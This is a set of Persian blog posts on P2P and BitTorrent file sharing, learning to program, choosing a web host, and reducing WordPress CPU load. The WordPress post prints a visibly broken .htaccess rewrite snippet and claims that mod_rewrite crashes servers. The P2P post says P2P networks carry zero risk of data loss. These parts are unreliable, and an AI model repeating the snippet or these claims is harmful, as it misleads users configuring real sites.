مي‌کند. به اين معني که ميزان مجموع حجم فايلهاي دريافت شده يا ارسال شده به فضاي اجاره شده به صورت ماهيانه مشخص مي‌شود و نبايد از آن حجم بيشتر باشد.
P2P)Peer-to-peer):
نام گونه‌اي از معماري شبکه‌هاي رايانه‌اي است. در اين نوع شبکه، رايانه‌هاي خادم و مشتري هر دو در يک سطح کار مي‌کنند، به اين مفهوم که هر رايانه مي‌تواند از اطلاعات رايانهٔ ديگر استفاده کرده يا به رايانه ديگر اطلاعات بفرستد. اين نوع شبکه ساده‌ترين و سريعترين روش شبکه‌سازي بويژه در محيط‌هاي ويندوز مي‌باشد که ابزار خاصي لازم ندارد. در اين نوع شبکه ها کامپيوتري به عنوان سرور وجود ندارد و تمام رايانه ها به صورت مستقيم و بدون واسطه به هم وصل مي شوند و مي توانند از يکديگر اطلاعات دريافت کنند.حجم ديسک در اين نوع شبکه ميزان فضاي هارد هر کامپيوتر است و ميزان انتقال اطلاعات در اين نوع از شبکه ها بسته به ميزان سرعت و پهناي باند هر کلاينت يا همان کامپيوترها است.
براي مثال تصور کنيد همچين شبکه اي را که تعداد 10 کامپيوتر با هم در ارتباط هستند و هر کامپيوتر فضاي ديسکي معادل 500 گيگابايت داشته باشد به دليل در ارتباط بودن اين کلاينت ها مي توان گفت که فضاي ديسکي معادل 5 ترابايت در شبکه وجود دارد و قابل استفاده است. از اين نوع شبکه ها براي مصارف گوناگون استفاده ميشود به اشتراک گذاري فايلها و Real-time Data که براي کنترل ترافيک در skype مورد استفاده قرار ميگيرد از مهمترين مصارف اين نوع شبکه ها هستند که در اين پروژه در مورد اشتراک گذاري فايلها بحث ميشود مزايايP2P در مورد دو سرويس دهنده وب هاستينگ و نظير به نظير بحث شد اما مزاياي P2P در زمينه اشتراک فايل بسيار بيشتر از وب هاستينگ است که خود را جاي يک کاربر عادي گذاشته و آن مزايا را برسي مي کنيم.1.در بسياري از سايت هاي اشتراک فايل مانند راپيدشر و فورشير و.... که از دسته سرويس دهنده هاي وب هاستينگ هستند قابليت دانلود با سرعت بالا و قابليت ريزيوم وجود ندارد و بايد يک حساب خريداري کنيم تا از اين قابليتها استفاده کنيم ولي در شبکه نظير به نظير اين امکانات و قابليت ها به صورت رايگان وجود دارد و قابل استفاده است.2. به دليل داشتن سرور دسترسي به فايل ها ممکن است با مشکل مواجه شود به عنوان مثال ممکن است سرور قطع باشد و خراب شود و يا حتي اطلاعات از روي آن پاک شود ولي در شبکه نظير به نظير اين احتمالات صفر درصد است. 3. ممکن است افراد زيادي در يک زمان از يک وب هاستينگ استفاده کنند و از آن درخواست هاي زيادي داشته باشند که در نتيجه باعث افت کيفيک شبکه و همچنين دسترسي کاربران ديگر را مختل و يا حتي ممکن است دسترسي ديگري وجود نداشته باشد ولي در شبکه نظير به نظير به دليل دسترسي مستقيم باز هم اين احتمال صفر درصد است. فکر مي کنم همين سه دليل کافي باشد تا براي اشتراک فايل ها شبکه هاي P2P را قوي تر بدانيم اما براي استفاده از اين نوع شبکه در محيط اينترنت بايد معماري خاصي و همچنين نرم افزاري براي راحتي استفاده از اين نوع شبکه وجود داشته باشد. شبکه Torrentشبکه p2p بر دو دسته يا گروه تقسيم مي شود.1. نسل اول client server 2. نسل دوم Decentralization نسل اول آنها داراي ليستي متمركز در سرور خود بودند كه در آن ليست كليه فايل هاي كاربران online را در خود نگاه مي داشت. براي مثال، هر گاه كاربري دنبال فايل موسيقي مي گشت، ابتدا در آن ليست جستجو ميشد. Napster اولين سايت p2p بود كه از روش فوق براي به اشتراك گذاري فايل ها استفاده نمود. نكته جالب در مورد اين سايت اين است كه شايد يكي از محبوبترين سايتهايي بود كه تا كنون بوجود آمده است. به طوري كه در كمتراز يك سال، تعداد بينندگان سايتش از 0 تا 60 ميليون بيننده در ماه رسيد اما كمي بعد به دليل مسائل كپي رايت توسط دادگاه بسته شد ولي پس از مدتي در سال 2003 با تغييراتي دوباره شروع به كار كرد.
نحوه برقراري ارتباط و استفاده از شبکه در نسل اولبراي ارتباط با شبکه نرم افزاري وجود داشت بعد از اجراي برنامه آهنگ خود را به اشتراک ميگذاريم با اين کار کامپيوتر ما مانند يک سرور کوچک براي استفاده تبديل مي شد کامپيوتر ما به سرور اصلي وصل ميشد و اطلاع ميداد که چه فايلهايي موجود است به اين ترتيب هميشه سرور به روز بود و ليست کاملي داشت. براي دانلود از شبکه هم با سرچي که داخل برنامه وجود داشت فايل مورد نظر رو پيدا کرده و بعد از انتخاب به صورت مستقيم به آن کامپيوتر وصل شده و دانلود را شروع ميکرديم.
نسل دوم و پروتکل Fast Track وقتي شبکه نسل اول دچار مشکل کپي رايت شد نسل دوم بعد از آن شروع به کار کرد شرکت Nullsoft دست به اين اقدام زد و شبکه اي راه اندازي کرد که احتياجي به ليست سرور نداشته باشد ولي با ترافيک وحشتناکي روبرو شد اول اينکه بين کامپيوترها در شبکه تفاوتي نگذاشت دوم کاربران شبکه قبلي هجوم آوردن به اين شبکه, به دليل ترافيک بالا در شبکه برنامه نويسان پروتکل جديدي به نام fast track نوشتن که مشکل node ها را حل کرد به اين صورت که node هاي سريعتر و قويتر امکان و اجازه index کردن node هاي ديگر را داشتند به طور خلاصه کامپيوترهاي بزرگتر کامپيوتر هاي ديگر را کنترل ميکردند و اين کامپيوترهاي کوچک زير مجموعه اي از ديگر node ها بودند با اين روش کاربران بسيار بيشتر شدند و شبکه بزرگتر شد. در اين شبکه هر کاربر يک برنامه کلاينت داشت که مي توانست هم زمان هم براي دانلود و هم براي آپلود از آن استفاده کند هر کاربر با سرچي که در اختيار داشت داخل ديگر کامپيوترها و در واقع کلاينتها دنبال فايل مورد نظر خود مي گشت و بعد از انتخاب فايل مورد نظر مستقيما از هارد آن کامپيوتر شروع به دانلود مي کرد. در اينجا يک مشکل بزرگ به وجود مي آمد اگر شما در حال دانلود از يک کامپيوتر باشيد و آن کامپيوتر ديگر online نباشد دانلود شما هم متوقف شده و بايد منتظر باشيد تا دوباره online شود. براي حل اين مشکل معماري شبكه bit torrent ساخته شد. معماري شبكه Bit Torrent اين معماري به اين صورت بود که وقتي در حال گرفتن يک فايل در اين شبکه هستيد يعني خود شما هم يک سرور کوچک هستيد که داراي آن فايليد.به عنوان مثال شما در حال دانلود يک فيلم هستيد که 27 درصد آن کامل شده و ديگر کامپيوتر نيز در حال دانلود درصد 15 اين فيلم است به اين ترتيب اين node در صورت ضعيفتر بودن از کامپيوتر شما استفاده ميکند و درصد 15 را از شما دريافت ميکند. در واقع در اين شبکه شما هميشه در حال دانلود و آپلود هستيد ولي هميشه سرعت دانلود از آپلود شما بيشتر است البته ميتونيد مقدار آپلود را از مقدار پيشفرض کمتر کنيد تا سرعت بيشتري داشته باشيد ولي نميتوانيد آپلود را قطع کنيد اين سياستي است که شبکه تورنت را زنده نگه مي دارد و از بين رفتن آن جلوگيري مي کند.
Bit Torrent چيست؟Torrent در لغت به معني سيلاب و جريان شديد آب است،دليل انتخاب اين لغت آن است که بوسيله بيت تورنت ميتوانيد کامپيوتر خود را در معرض سيلي از اطلاعات قرار دهيد.بيت تورنت يک برنامه کامپيوتري نيست تورنت متدي براي دانلود کردن فايلها با استفاده از يک سيستم توزيع گسترده ي به اشتراک گذاري فايلها به روش Peer-to-Peer است.برنامه هايي که براي دانلود کردن فايل با BitTorrent مورد استفاده قرار مي گيرند ترمينالهاي بيت تورنت يا BitTorrent Clients ناميده مي شوند.بيت تورنت مانند برنامه هاي P2P نظير Limewire/Kazaa/Napster که قبلا براي دانلود کردن استفاده مي کرديد نيست.اين نکته مهمترين عامل سردرگمي براي کساني است که براي اولين بار با بيت تورنت آشنا مي شوند.به محض اينکه دانلودرهاي قديميتان را کنار بگذاريد متوجه مي شويد استفاده از بيت تورنت چقدر ساده و مفيد است. Bit Torrent چگونه کار ميکند؟
عاملي که بيت تورنت را منحصر به فرد مي سازد اين است که فايلها را ميان همه کاربراني که فايل را دانلود کرده اند يا در حال دانلود کردن هستند به اشتراک مي گذارد.از آنجا که بيت تورنت فايلها را به صدها بسته ي کوچک تکه تکه مي کند براي به اشتراک گذاشتن يک فايل لازم نيست قبلا کل آن را دانلود کرده باشيد.به محض اينکه بسته ي کوچکي از فايل را دانلود کرديد مي توانيد آنرا ميان همه کاربران به اشتراک بگذاريد.اين عاملي است که باعث سرعت شگفت انگيز دانلود کردن با بيت تورنت ميشود.براي دانلود کردن فايلي نظير يک ويديوي آموزشي، لازم است که شما ابتدا فايل تورنت آن را که داراي پسوند (torrent.) را يافته و دانلود نماييد و سپس آنرا با کلاينت بيت تورنت خود باز کنيد.فايل تورنت حاوي فايلهايي که ميخواهيد دانلود کنيد نيست، بلکه اين فايل به کلاينت بيت تورنت شما مي گويد که فايل مورد نظرتان روي کامپيوتر چه کاربراني وجود دارد و چه کاربراني در حال دانلود کردن آن هستند تا دانلود شما شروع گردد.
معرفي برنامه Utorrent براي دانلود فايل در اين شبکه مي توان از برنامه Utorrent استفاده کرد که برنامه اي ساده و کم حجم و راحتي است.براي دانلود با اين نرم افزار فقط بايد سه مرحله را پيمود1.جستجو فايل مورد نظر و دانلود فايل حاوي آدرس فايل از طريغ خود برنامه2. باز کردن فايل آدرس توسط نرم افزار کلاينت3.با انتخاب مسير ذخيره سازي فايل مورد نظر دانلود مي شود لازم به ذکر است فايل حاوي آدرس که دانلود مي شود فقط حاوي نام و آدرس کامپيوترهايي است که فايل انتخابي شما را دارند يا در حال دريافت آن هستند اين فايل 4 کيلوبايت بيشتر حجم ندارد.
منابع و ماخذ :http://www.addictivetips.comhttp://masonsklut.comhttp://en.wikipedia.org Videos & Guides - Help - µTorrent - a (very) tiny BitTorrent clienthttp://www.sidewalkcrusaders.comhttp://torrentfreak.com
Host IT - مرکز آموزش - عملکرد تورنت
زینب بازدید : 15 دوشنبه 25 فروردين 1399 زمان : ۱۶:۲۰ نظرات (0)
فراگیری برنامه‌نویسی مانند هر علم دیگری نیازمند صرف زمان، پشتکار و دقت است؛ در این مقاله سعی شده ۵ راه‌کاری که در آموختن هر زبان برنامه‌نویسی مفید می گردد مورد بررسی قرار گیرد. اگرچه رعایت این موارد در ابتدا مقداری کسل‌کننده بوده و روند پیشرفت را کند می‌کند اما پس از چندبار استفاده از آن‌ها، سرعت یادگیری به‌طرز چشمگیری افزایش خواهد یافت.

به نمونه کدها توجه کنید

هر برنامه و هر نرم‌افزار کامپیوتری از یک سری کد تشکیل شده که با قرارگیری آن‌ها در کنار یکدیگر، عملکرد آن برنامه شکل می‌گیرد و کار یک برنامه‌نویس نیز نوشتن این کدها است؛ برای این‌که این روند را سریع‌تر یاد بگیرید، سعی کنید با کدها آشنایی کامل داشته باشید. وقتی با یک نمونه کد مواجه می‌شوید، خط‌به‌خط آن‌را بادقت بررسی کنید و تلاش کنید متوجه شوید که نحوهٔ عملکرد آن کد چگونه است، برنامهٔ حاصل از آن چه‌کاری انجام می دهد و …
این کار در ابتدا سخت و ناامیدکننده است چراکه در اکثر مواقع حدسی که می زنید اشتباه است حتی گاهی یک درصد هم به برنامهٔ اصلی نزدیک نیست ولی ناامید نشوید چون پس از چند بار که این کار را انجام دادید، دستوراتی که استفاده شده‌اند در ذهنتان باقی مانده و به‌راحتی می‌توانید عملکرد برنامه را تشخیص بدهید و حتی کد را با چند تغییر ساده به یک برنامهٔ کاملاٌ متفاوت تبدیل کنید. پس فراموش نکنید یادگیری و بررسی کدها کمک بسیار بزرگی به فرایند یادگیری شما خواهد کرد.

فقط نمونه کدها را نخوانید، بلکه آن‌ها را اجرا کنید

هنگامی که بررسی کدها را انجام می دهید، تنها راه‌حل آزمایش حدسی که زدید این است که آن‌ها را اجرا کنید؛ برای این کار کافی است کامپایلر مربوط به زبانی که با آن کدها نوشته شده‌اند را داشته باشید تا از طریق آن برنامهٔ نوشته‌شده را مشاهده کنید، ولی یک نکتهٔ مهم وجود دارد و آن‌هم این است که از کپی/پیست کردن کدها داخل کامپایلر جداً خودداری کنید و حتماً کدها را خودتان تایپ کنید چراکه این کار فواید بسیار زیادی دارد.
اولین فایده‌اش این است که باعث آشنایی شما با دستورات آن زبان خاص می‌شود و دومین و مهم‌ترین فایده‌اش این است که با نحوهٔ نگارش کدها در آن زبان آشنا می‌شوید؛ مثلاً بعد از تایپ کدها به‌صورت کامل، متوجه خواهید شد که در پایان هر خط دستور باید حتماً ; را تایپ کنید (موارد خیلی زیادی مشاهده شده است که برنامه‌نویسان مبتدی هنگام اجرای برنامه
بقیه مقاله در سایت طراحان وب تبریز
زینب بازدید : 14 پنجشنبه 14 فروردين 1399 زمان : ۰۳:۱۰ نظرات (0)
امروز قصد دارم تا نکاتی که بسیار مفید و از نظر اموزشی کاربردی هستند رو مطرح کنم چند نکته اصلی رو می گم برای انتخاب درست باید چیکار کنیم .


ابتدا مهمترین نکاتی که هاست باید داشته باشه و بهش دقت کنید.

1- پشتیبانی ( رنج پاسخگویی تیکت ها رو قبل از خرید بسنجید )
2- وب سرور مناسب ( ترجیخا لایت اسپید)
3- پهنای باند مناسب ( هاست وب خصوصا برای وب سایت های جدید پهنای باند در حد چند گیگ و چند ده گیگ رو نیازمند هستش پس هاست ایران برای وب سایت شما با پهنای باند 100 گیگ کافیه جز اینکه در اون هاست فایل برای دانلود بذارید که کم بیارید پهنای باند ) هاست های خارج از ایران هم که همگی ترابایتی هستند جز موارد محدود
4- منابع اختصاصی پردازشی : دقت کنید در کلو لینوکس (هسته) قابلیت تخصیص میزان رم و پردازشگر به صورت تفکیک پذیری امکان داره یعنی میشه به یک اکانت 128 مگ رم ارائه کرد پس حتما دقت کنید قبل از سفارش به هاستینگ بگید میزان رمی که به شما می ده چقدر هستش و اینو بگم رم بالایی نیاز دارید برای وردپرس حداقل بالای 256 مگابایت رم می خواهید برای قالب های تم فارسی و پلاگین های اون پس خیلی مواظب باشید این رم حداقل هستش و با چند پلاگین و قالب مثل صحیفه و امثال اینها بسیار بسیار کند خواهید شد.
5- توابع باز و خدمات فنی : دقت کنید هاستینگ شما از چه نرم افزارها و توابع و اضافاتی استفاده می کنه یعنی قبل از خرید اگه نوع سیستم مدیریت محتوی شما مشخصه باید ببینید هاستینگ شما ازش پشتیبانی می کنه یا خیر

6- نکات امنیتی : حتما ببینید هاستینگ شما آنتی دی داس و فایروال و آنتی شلر داره اگه نداشت مطمئنا شما صدمه می بینید
7- بک آپ : حتما ببینید هاستینگ شما بک آپ گیری منظم روی سرور مجزی صورت می گیره یا خیر این اصل بسیار بسیار مهم هستش بک آپ روی همون سرور اصلا بک آپ نیست .

این هفت مورد خیلی کلیدی هستند

اما چرا هاست آلمان می خریم 5 گیگ ماهی 50 تومن وقتی سرور طرف می گیره ماهی 150 تومن چند صد برابر این منابع داره . یعنی ما هم سرور بگیریم ؟ چه مجازی چه اختصاصی ؟

دقت کنید سرور مجازی و اختصاصی فقط هزینه سرور نیست بلکه شما بسیار هزینه های دیگه دارید در نتیجه به این مسئله فکر کنید زمانی شما سرور مجازی و اختصاصی برای هاست لینوکسی خصوصا هاست وب می تونید بگیرید که حداقل ماهانه بیش از 500 هزار تومان روش هزینه کنید

کنترل پنل : سیپنل لایسنس ماهانه 40 دلار
لایت اسپید : بر اساس تعداد پردازنده 100 تا 350 تومن
آنتی شلر : 250 تومن یکبار همیشگی در ابتدا
کانفیگ : 150 تومن
آنتی دی داس و فایروال حرفه ای : 300 تومن یکباره
کرنل لینوکس اختصاصی : 300 تومن

یعنی شما ماهانه حدودا بین 250 تا 500 تومن هزینه لایسنس رو دارید
و اینکه ابتدا کار هم باید حدودا 1 تومن هزینه کنید


نتیجه : اگه شما اینکار رو انجام بدید یقینا برای شما مقرون به صرف هستش که در فضاهای بالا سرور اختصاصی بگیرید .


سرور اختصاصی خیال شما از بابت امنیت سورس هاتون و منابع و قدرت راحت هستش.
زینب بازدید : 16 دوشنبه 28 بهمن 1398 زمان : ۰۷:۳۵ نظرات (0)
امروزه با توجه به فراگیر شدن استفاده از اینترنت، تعداد وب سایت های جدیدی که هر روز به این شبکه عظیم اضافه میشوند به سرعت در حال افزایش است .معیارهای زیادی نظیر طراحی حرفه ای سایت، مطالب جالب و بروز، سئو و بهینه سازی مناسب برای موتورهای جستجو و… بر کیفیت و موفقیت یک وب سایت تاثیرگذار می باشند. یکی از نکات مهم برای داشتن یک سایت موفق و حرفه ای انتخاب فضای میزبانی (HOST) از یک شرکت معتبر ارائه دهنده هاست یا اصطلاحا هاستینگ است. خرید یک هاست نامناسب می تواند علاوه بر ایجاد زحمت مشکلات گاها غیر قابل جبرانی را برای سایت شما بوجود آورد.

سابقه کاری شرکت ارائه دهنده خدمات میزبانی :
این مسئله بسیار مهم است که از امن بودن مکان نگهداری اطلاعات خود اطمینان داشته باشید و در صورت بروز هرگونه مشکلی بتوانید براحتی آن را پیگیری نمایید. بهتر است که از شرکت های داخل کشور خرید نمایید زیرا با وجود تحریم ها و مشکلات تبادل ارز ممکن است برایتان مشکلاتی پدید آید و در صورت ایجاد مشکل ارتباط با شرکت های داخلی به مراتب راحت تر است.
در ایران شرکت های خوب و متعهدی فعالیت دارند که می توانید به آنها اعتماد کنید و ایمان داشته باشید که در هنگام اشکالات فنی و… احساس مسئولیت کرده و خدمات پشتیبانی مناسب را ارائه می دهند.
اما چگونه این شرکت ها را پیدا کنیم؟ اینکار بسیار ساده است شما با مراجعه به انجمن ها و جستجو در اینترنت می توانید با مشتریان این شرکت ها ارتباط برقرار کنید و از آنها در مورد اینکه آیا خدمات مناسب و قابل قبولی دریافت کرده اند پرس و جو نمایید. برخی سایت های معتبر نیز این شرکت ها را بنا به خدمات بهتر رتبه بندی کرده اند. برای پی بردن به قدمت کار یک شرکت می توانید دامنه (domain) آن را نیز بررسی کنید برای مثال در سایتی نظیر domaintools.com می شود اطلاعات جامعی در مورد صاحب امتیاز دامنه و تاریخ ثبت آن و… دریافت کرد.
توجه داشته باشید که از یک شرکت ثبت شده و دارای آدرس و شماره تلفن واقعی و ترجیحا دارای نماد اعتماد خرید نمایید و بهتر است که قبل از خرید هاست، با واحد فروش آن شرکت مشورت کرده و با بیان نوع سیستم و تعداد بازدید کننده خود پیشنهاد مناسب را از خودشان دریافت کنید. حتی اگر وب سایت شما هم در مورد دستگاه تصفیه آب باشد باید این مسائل را هم بر روی آن پیاده سازی نمود.


میزان فضا و پهنای باند (BandWidth)
بسته به حجم اطلاعات شما و تعداد بازدید کننده یک سابت، باید اندازه فضا و پهنای باند ماهیانه متناسب خریداری شود. برای مثال اگر شما سایتی دارید که کاربران از آن برای دانلود فایل استفاده می کنند باید هاست مخصوص دانلود خریداری کنید، البته معمولا این نوع سایت ها که منابع زیادی مصرف می کنند به روی سرور اختصاصی و یا سرور مجازی(VPS) قرار داده می شوند و اکثر هاست های اشتراکی قادر به پشتیبانی این نوع سایت ها نیستند .وی پی اس ها و سرورهای اخنصاصی دارای شرایط دیگری هستند که مورد بحث ما نیستند.


مکان میزبانی وب :
این موضوع که سایت شما بر روی چه سرور (server) و در کدام کشور نگهداری می شود بسیار مهم است. بنابر تجربیات شخصی اگر میخواهید سرور هاست شما در خارج کشور باشد دیتاسنتر های (Data center) کشور آمریکا برای اینکار انتخاب مناسبی هستند. البته این بدان معنی نیست که سرورهایی که در اروپا قرار دارند مشکلی دارند. ببینید شرکت ایرانی که از آن خرید می کنید نمایندگی کدام دیتاسنتر را دارد، زیرا کیفیت این مراکز داده خارج کشور نیز بسیار مهم است.

در سالهای اخیر مراکز داده (Datacenter) های داخل ایران نیز کیفیت مطلوبی برای سرور های خود فراهم اورده اند که توصیه می شود اگر از نظر تفاوت هزینه مشکلی ندارید از سرورهای داخلی فضای وب خود را تهیه نمایید، زیرا بدلیل نزدیک بودن مکان سرورها از نظر جغرافیایی، سرعت بهتری به کاربران شما ارائه میدهند.


مشخصات فنی و قدرت سرورها
توجه داشته باشید که قبل از خرید از قدرت سرور جهت تحمل بار وب سایت خود مطمئن شوید. برای این منظور با بخش فروش شرکت مشورت کنید و مشخصات فنی سرور را بررسی نمایید و اینکه چه تعداد سایت بر روی یک سرور نگهداری می شوند نیز در این امر دخیل می باشد. البته در سایت رسمی این شرکت ها هنگام خرید پلن هایی (plan) بنابر تعداد بازدید و انلاین لحظه ای کاربران شما پیشنهاد شده اند.برای مثال پلن سایت های پربازدید که مختص سایت های با ترافیک روزانه بالا می باشد. با انتخاب مناسب و آگاهی از مقدار مصرف منابع توسط وب سایت خود می توانید در هزینه ها صرفه جویی کنید و از کارکرد بدون مشکل آن اطمینان حاصل نمایید.


پشتیبانی فنی توسط شرکت ها :
پشتیبانی و پاسخگویی سریع و صحیح توسط کادر فنی باتجربه یکی از مواردی است که شما را در پیشبرد وب سایتتان همراهی می کند .بدیهی است که یک مدیر سایت لزوما نباید اطلاعات فنی بالایی از پیکربندی و رفع مشکلات فنی سرور داشته باشد و اینکه دسترسی به این تنظیمات برای شما محدود شده است! پس باید واحد پشتیبانی فنی بتواند سریع و براحتی این موارد را تنظیم و سرور را با تمامی سایت های موجود در آن هماهنگ کند به نحوی که تمامی آنها بالاترین سرعت و امنیت را داشته باشند.
بروز رسانی سیستم عامل سرور و پیکربندی صحیح ان و در نهایت ایجاد امنیت برای سایت ها از مواردی است که بر عهده بخش فنی است (امنیت اسکریپت و سیستم سایت شما شامل این بحث نمی گردد)


کنترل وضعیت سرور بر روی شبکه اینترنت :
سروری که هاست شما بر روی آن قرار دارد باید وضعیت نرمالی در شبکه جهانی داشته باشد یعنی در تمام نقاط جهان قابل مشاهده باشد و اصطلاحا پینگ (Ping) شود. برای کنترل این امر نیز می توانید به وب سایت هایی که این خدمات را بصورت انلاین ارائه می دهند مراجعه نمایید مانند HostTracker monitoring service .این سامانه بصورت آنلاین دامنه یا آیپی شما را چک می کند و نتیجه را بصورت یک لیست به شما نشان میدهد و به شما می گوید که در نقاط مختلف جهان با چه سرعت و کیفیت قابل دسترس هستید. اگر مواردی مبنی بر وجود خطا مشاهده کردید باید با هاستینگ خود صحبت کنید تا دی ان اس (DNS) ها و موارد دیگر را بررسی و مشکل را برطرف نماید.


تهیه نسخه پشتیبان از وب سایت شما :
یکی از خدمات مهمی که باید از یک شرکت ارائه خدمات میزبانی انتظار داشت پشتیبان گیری مرتب و نگهداری نسخه پشتیبان اطلاعات سرور در جای مطمئن است تا در صورت بروز هرگونه اتفاق و از بین رفتن اطلاعات شما براحتی بتوان آنرا جایگزین کرد .این پشتیبان گیری (Backup) باید با فواصل مشخص و ترجیجا نزدیک به هم مثلا هر 24 ساعت یکبار انجام شود، البته برای وب سایت هایی که اطلاعات آن دائما در حال بروز شدن نیست این فاصله زمانی می تواند بیشتر باشد و در صورت کم بودن حجم آن بهتر است خودتان یک نسخه پشتیان نزد خود نگهدارید ،اما برای سایت هایی که مرتبا در حال بروز شدن هستند مانند سایت آگهی24 که کاربر محور می باشد، این پشتیبان گیری باید در روز 2 بار تکرار شود تا در هنگام ایجاد مشکل کمترین صدمه به اطلاعات آن وارد شود.


آپ تایم (Uptime) بالا :
اصطلاح آپتایم به این معنی است که سرور میزبان باید کمترین زمان قطعی از شبکه را داشته باشد و دائما در دسترس باشد زیرا قطع شدن سرور از شبکه صدمات زیادی به میزان کارآیی و امتیاز سایت شما در موتورهای جستجو میزند و باعث از بین رفتن اعتبار و افت بازدید آن می شود. حتما در تبلیغات این شرکت ها این عدد را مشاهده کرده اید و یکی از معیارهای کیفیت بالای خدمات اینگونه شرکت ها این عدد است که معمولا با 99% و یا اغراق آمیزتر 100% نمایش داده می شوند
زینب بازدید : 17 جمعه 25 بهمن 1398 زمان : ۰۲:۳۰ نظرات (0)
احتمالا براي بسياري از دوستان عزيزي كه از ورد پرس براي مديريت سايت خود استفاده مي كنند ، مشكل مصرف بالاي cpu پيش امده است و بارها شده كه از طرف هاست مسترشان ، سايتشان مسدود شده است.
پس از جستجوي بسياري كه در وب انجام دادم مطالبي را جسته گريخته يافتم كه در ادامه تقديم مي كنم :
تمامی مشکلات سی پی یو و گزارش کامل آن در فایل log موجود در پوشه cpu exceed قرار میگیرد که خود این پوشه درون پوشه tmp در ریشه اصلی می باشد.(البته نه همه سايتها – خصوسا سايتهايي كه روي share قرار دارند) پس یادتان باشد هر وقت مشکل سی پی یو داشتید ابتدا این فایل را چک کنید.( و اگر نبود از هاست مستر خود تقاضا نماييد كه آنرا براي شما ارسال نمايد) درون این فایل اکثرا علت مصرف بالای سی پی یو را میتوانید پیدا کنید.
این که چه صفحاتی و چه فایل هایی باعث exceed شدن ( تجاوز از حد استاندارد ) می شوند.
»» شش دلیل اصلی مصرف بالای سی پی یو توسط ورد پرس :

دلیل اول مشکلات ناسازگاری افزونه ها که با حذف افزونه مشکل طرف می شود. اگر مشکل سی پی یو دارید افزونه های خود را چک کنیدتا مطمئن شوید مشکل از کدام افزونه است.
دلیل دوم دستکاری درون پوسته ها که با برگرداندن پوسته به حالت پیش فرض مشکل حل می شود. اگر کد ها و حلقه ها به صورت اصولی فراخوانی نشوند یک حلقه بی نهایت پدید می آید که کاملا سی پی رو را میخورد ! پی اگر فردی مبتدی هستید از دستکاری پوسته ها پرهیز کنید.
دلیل سوم وجود ایراد دریکی از جدول های دیتا بیس ( post ) می باشد که وردپرس در هر بار خواندن آن جدول فشار زیادی به سی پی یو می آورد. این مشکل را از داخل PHPMyAdmin توسط repair کردن کلیه جدول ها بر طرف نمایید. در اکثر موارد توسط همین روش مشکل حل می شود و اگر حل نشود تقریبا باید تمامی جدول ها را بررسی نمایید.
دلیل چهارم اشکال در فایل های اصلی وردپرس مانند index.php و … همیشه از آخرین نسخه وردپرس استفاده نمایید و اگر با فایل های اصلی مشکلی داریدبا جایگزین کردن آن فایل مشکل را حل کنید.
دلیل پنجم استفاده از پیوند یکتا در ورد پرس است و شاید تا کنون اصلا به ذهنتان هم خطور نکرده باشد که احتمال دارد پیوند یکتا مشکل ساز شود اما میشود و دلیل آن نیز ایجاد چند خط کد در فایل htaccess. وردپرس است که توسط اکثر هاست ها پشتیبانی نمی شود.

# BEGIN WordPress
<IfModule modrewrite.c>
RewriteEngine On RewriteBase /
RewriteCond %{REQUESTFILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . / index.php [L]
</ IfModule>
END WordPress

در خط دوم این کد ماژول IfModule mod_rewrite.c فراخوانی میشود که این ماژول ظاهرا به دلیل داشتن مشکلات زیاد بر روی سرور نصب نمی شود پس htaccess. حاوی فرامینی است که باعث کراش کردن سرور و مصرف سی پی یو میشود.
حال چاره چیست ؟
پاسخ ساده است ، شما باید از پیوند یکتا یا همان permalink پیش فرض وردپرس استفاده کنید و اگر در فایل htaccess. خود این کد ها را دارید آنها را حذف کنید.
اما میرسیم به یک دلیل اصلی که بالاترین مصرف سی پی یو را شامل می شود …
دلیل ششم استفاده نا مناسب از برچسب ها یا همان Tag ها می باشد.
استفاده از برچسب ها به مقدار زیاد وردپرس را تبدیل به یک سی پی یو خور حسابی میکند ! باور نمیکنید ؟ امتحان کنید ! روی لوکال به یک نوشته 50 تا برچسب بزنید و آن را ببینید. آن نوشته خیلی دیر لود می شود و اگر در این هنگام مصرف سی پی یو توسط mysql را در task manager مشاهده کنید خواهید دید که cpu usage تا 50 % بالا می رود.
پس به اندازه کافی به نوشته های خود برچسب بزنید طوری که تعداد آن ها از 15 تجاوز نکند و از درج برچسب های تکراری خود داری کنید.
تمامی این ها تجربه های من در مورد مصرف سی پی یو توسط وردپرس است. اگر شما هم تجربه ای در این زمینه دارید با ما در میان بگذارید تا نسخه دوم این مقاله را هم بنویسیم.
تا اينجاي مطلب را از سايتIranget Group تقديم كرديم وخب پس از گشت و گذار بسيار و پرس و جو هاي مختلف در نهايت به اينجا رسيدم كه قبل از هر اقدامي بايد ابتدا از هاست خود تقاضاي يك log فايل بنماييد (همانگونه كه در بالا اشاره شد) تا مشخص كند كه واقعا اشكال از كجاست.
اگر اشكال از يك پست خاص بود كه بعيد بنظر مي رسد ؛ به احتمال قوي شما روي تعدادي از پلاگينهاي خود مشكل داريد . مثلا پلاگين Rating اغلب مشكل لود رويCPU را در زمانيكه تعداد بازديد از يك پست زياد شود را ايجاد مي نمايد .پس بهتر است كه از پلاگينهاي دردسر ساز صرف نظر نماييد .
اما اگر گزارش حاكي از وجود مصرف بالاي CPU بر روي فايل wp-cron.php قرار داشت؛ اينجاست كه داستان چيز ديگري است و لازم است كه كمي بيشتر توضيح دهم:
زمانيكه شما يك پست جديد ايجاد مي نماييد ، موتور وردپرس با استفاده از قابليت autosave, revisions اقدام به ذخيره خودكار مطلب وارد شده مي نمايد.
حال اگر ببينيد كه در پست ايجاد شده غلط يا اشتباهي وجود دارد و اقدام به اصلاح مطلب ذخيره شده نماييد ؛ wp-cron.php كه در بار نخست اقدام به ارسال 2 تقاضا براي ذخيره مطلب به سرور نموده بود ، اينك 8 تقاضا ارسال مي كند و اگر خداي ناكرده شما متوجه شويد كه باز بايد مطلب ياد شده را اصلاح نماييد ؛ تعداد تقاضاهاي شما به بيش از 20 تقاضا مي رسد كه موجب بالا رفتن لود بيش از حد روي CPU مي گردد و البته اين باگي است كه هنوز در نسخه 2.7.1 وردپرس وجود دارد.
و اما راه چاره:
بهترين راه حلي كه من يافتم ؛ غير فعال نمودن عمل autosave, revisions در هنگام ايجاد پست مي باشد . براي اينكار ، بهترين روش استفاده از پلاگين : WP-CMS Post Control است .
اين پلاگين را نصب نموده و قابليتهاي autosave, revisions را غير فعال نماييد تا مانع از بار گذاري خودكار روي سرور شويد.
زینب بازدید : 13 دوشنبه 21 بهمن 1398 زمان : ۱۶:۲۵ نظرات (0)
